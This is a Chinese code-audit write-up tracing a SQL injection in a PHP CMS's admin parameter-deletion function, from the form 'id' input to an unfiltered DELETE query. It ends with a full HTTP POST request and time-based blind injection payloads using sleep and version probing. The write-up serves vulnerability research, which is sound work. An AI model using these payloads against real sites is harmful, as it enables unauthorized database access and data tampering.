审计过程
- 首先来到⽂件 app\system\user\admin\parameter.class.php 下的 doDelParas 方法

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public function doDelParas() { global $_M; if (!isset($_M['form']['id'])) { $this->error(); } $data = $_M['form']['id']; $module = $this->module; foreach ($data as $value) { if (!$value) { continue; }
$this->database->del_by_id($value); $this->database->delete_para_value($value); } logs::addAdminLog('memberattribute', 'delete', 'jsok', 'doDelParas'); buffer::clearData($this->module, $_M['lang']); $this->success('', $_M['word']['jsok']); }
|
1 2 3 4
| global $_M --> $data = $_M['form']['id'] --> foreach ($data as $value) --> $this->database->delete_para_value($value)
|
得出:表单的 id参数 被传递给了 delete_para_value ⽅ 法,跟进该⽅法的定义
- 来到了app/system/parameter/include/class/parameter_database.class.php文件, delete_para_value ⽅ 法的定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public function delete_para_value($pid = '', $pids = array()) { global $_M; if (!empty($pids)) { $paraid = implode(',', $pids); $query = "DELETE FROM {$_M['table']['para']} WHERE id NOT IN ($paraid) AND pid = '{$pid}'"; return DB::query($query); } else { $query = "DELETE FROM {$_M['table']['para']} WHERE pid = '{$pid}'"; return DB::query($query); }
} }
|
1 2 3 4 5
| $this->database->delete_para_value($value) --> delete_para_value($pid = '', $pids = array()) --> $paraid = implode(',', $pids); --> $query = "DELETE FROM {$_M['table']['para']} WHERE id NOT IN ($paraid) AND pid = '{$pid}'" --> return DB::query($query)
|
得出:database->delete_para_value接收到的$value也就是形参$pid,会被直接拼接到$query SQL语句中去 再到DB::query数据库操作类的query方法中执行,于是再跟进DB::query
- 来到app/system/include/class/sqlite.class.php,static query方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| public static function query($sql) { if (strstr($sql, 'rand()')) { $sql = str_replace('rand()', 'random()', $sql); } if (strstr($sql, 'char_length(')) { $sql = str_replace('char_length(', 'length(', $sql); } $sql = self::escapeSqlite($sql);
if (strtoupper(substr($sql, 0, 6)) == 'INSERT') { $sql = str_replace(array("\n", "\r"), '', $sql); self::$link->exec('begin;'); preg_match('/insert\s+into\s+([`a-z0-9A-Z_]+)\s+set\s+(.*)/i', $sql, $match);
if (isset($match[1]) && isset($match[2]) && $match[2]) { $list = array(); $table = trim($match[1], '`'); foreach (explode(',', $match[2]) as $val) { if (!trim($val)) { continue; }
$param = explode('=', $val); if (trim($param[0])) { $list[trim($param[0])] = str_replace("'", '', trim($param[1])); } }
$row = self::insert($table, $list);
return $row; }
$result = self::$link->exec($sql); if (!$result) { self::$link->exec('rollback;');
error($sql.self::$link->lastErrorMsg()); } self::$link->exec('commit;'); if (!self::$link->lastInsertRowId()) { error($sql.self::$link->lastErrorMsg()); }
return self::$link->lastInsertRowId(); }
if (strtoupper(substr($sql, 0, 6)) == 'UPDATE') { self::$link->exec('begin;'); $result = self::$link->exec($sql); if (!$result) { self::$link->exec('rollback;'); }
return self::$link->exec('commit;'); }
if (strtoupper(substr($sql, 0, 12)) == 'CREATE TABLE') { $sql = load::mod_class('databack/transfer', 'new')->mysqlToSqlite($sql); }
$result = self::$link->query($sql);
return $result; }
|
先是进行了一些预处理,可能是为了为了兼容 MySQL 和 SQLite,以及不同数据库
1 2 3 4 5 6
| if (strstr($sql, 'rand()')) { $sql = str_replace('rand()', 'random()', $sql); } if (strstr($sql, 'char_length(')) { $sql = str_replace('char_length(', 'length(', $sql); }
|
1
| $sql = self::escapeSqlite($sql);
|
可能是过滤逻辑,跟进看看escapeSqlite静态方法的定义
- 来到app/system/include/class/sqlite.class.php
1 2 3 4 5 6 7
| public function escapeSqlite($sql) { $sql = str_replace("\\'", "''", $sql); $sql = str_replace('\\', '', $sql);
return $sql; }
|
看来想多了,不是过滤逻辑,还是兼容处理
- 替换
\'
为 ''
(SQLite 兼容的单引号)。
- 删除所有
\
,防止 SQLite 解析错误。
这个方法是 DB::query($sql)
里的一部分,在 SQL 执行前自动修正 SQL 语句,确保兼容 SQLite。
- 继续回到app/system/include/class/sqlite.class.php,static query方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| public static function query($sql) { if (strstr($sql, 'rand()')) { $sql = str_replace('rand()', 'random()', $sql); } if (strstr($sql, 'char_length(')) { $sql = str_replace('char_length(', 'length(', $sql); } $sql = self::escapeSqlite($sql);
if (strtoupper(substr($sql, 0, 6)) == 'INSERT') { $sql = str_replace(array("\n", "\r"), '', $sql); self::$link->exec('begin;'); preg_match('/insert\s+into\s+([`a-z0-9A-Z_]+)\s+set\s+(.*)/i', $sql, $match);
if (isset($match[1]) && isset($match[2]) && $match[2]) { $list = array(); $table = trim($match[1], '`'); foreach (explode(',', $match[2]) as $val) { if (!trim($val)) { continue; }
$param = explode('=', $val); if (trim($param[0])) { $list[trim($param[0])] = str_replace("'", '', trim($param[1])); } }
$row = self::insert($table, $list);
return $row; }
$result = self::$link->exec($sql); if (!$result) { self::$link->exec('rollback;');
error($sql.self::$link->lastErrorMsg()); } self::$link->exec('commit;'); if (!self::$link->lastInsertRowId()) { error($sql.self::$link->lastErrorMsg()); }
return self::$link->lastInsertRowId(); }
if (strtoupper(substr($sql, 0, 6)) == 'UPDATE') { self::$link->exec('begin;'); $result = self::$link->exec($sql); if (!$result) { self::$link->exec('rollback;'); }
return self::$link->exec('commit;'); }
if (strtoupper(substr($sql, 0, 12)) == 'CREATE TABLE') { $sql = load::mod_class('databack/transfer', 'new')->mysqlToSqlite($sql); }
$result = self::$link->query($sql);
return $result; }
|
定义了query是INSERT语句时的一系列操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| if (strtoupper(substr($sql, 0, 6)) == 'INSERT') { $sql = str_replace(array("\n", "\r"), '', $sql); self::$link->exec('begin;'); preg_match('/insert\s+into\s+([`a-z0-9A-Z_]+)\s+set\s+(.*)/i', $sql, $match);
if (isset($match[1]) && isset($match[2]) && $match[2]) { $list = array(); $table = trim($match[1], '`'); foreach (explode(',', $match[2]) as $val) { if (!trim($val)) { continue; }
$param = explode('=', $val); if (trim($param[0])) { $list[trim($param[0])] = str_replace("'", '', trim($param[1])); } }
$row = self::insert($table, $list);
return $row; }
$result = self::$link->exec($sql); if (!$result) { self::$link->exec('rollback;');
error($sql.self::$link->lastErrorMsg()); } self::$link->exec('commit;'); if (!self::$link->lastInsertRowId()) { error($sql.self::$link->lastErrorMsg()); }
return self::$link->lastInsertRowId(); }
|
定义了query是UPDATE语句时的一系列操作
1 2 3 4 5 6 7 8 9
| if (strtoupper(substr($sql, 0, 6)) == 'UPDATE') { self::$link->exec('begin;'); $result = self::$link->exec($sql); if (!$result) { self::$link->exec('rollback;'); }
return self::$link->exec('commit;'); }
|
定义了query是CREATE语句时的一系列操作
1 2 3
| if (strtoupper(substr($sql, 0, 12)) == 'CREATE TABLE') { $sql = load::mod_class('databack/transfer', 'new')->mysqlToSqlite($sql); }
|
然后再
1
| $result = self::$link->query($sql);
|
把SQL语句传入 self::$link 数据库连接对象进行执行!没有发现过滤操作,存在SQL注入!
构造触发
- 构造触发
最开始漏洞的入口在⽂件 app\system\user\admin\parameter.class.php 下的 doDelParas 方法
目录是admin,模块是user,parameter是控制器,doDelParas是方法,id是参数
构造路由如下:
1
| POST /admin/?n=user&c=parameter&a=doDelParas HTTP/1.1
|
构造payload,这里是盲注,那么我们用时间盲注延时一下看看效果,id要写成数组形式
1
| id[]=164%20and%20if(1=1,sleep(5),0)
|
综上构造如下:
1 2 3 4 5 6 7 8 9 10 11 12
| POST /admin/?n=user&c=parameter&a=doDelParas HTTP/1.1 Host: xxxxx Content-Length: 60 Pragma: no-cache Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: xxx Referer: xxx Connection: close Cookie: xxx
id[]=164%20and%20if(1=1,sleep(5),0)
|
复现
1
| id[]=164+and+if((select substr(version(),1,1))>0,sleep(1),0)
|
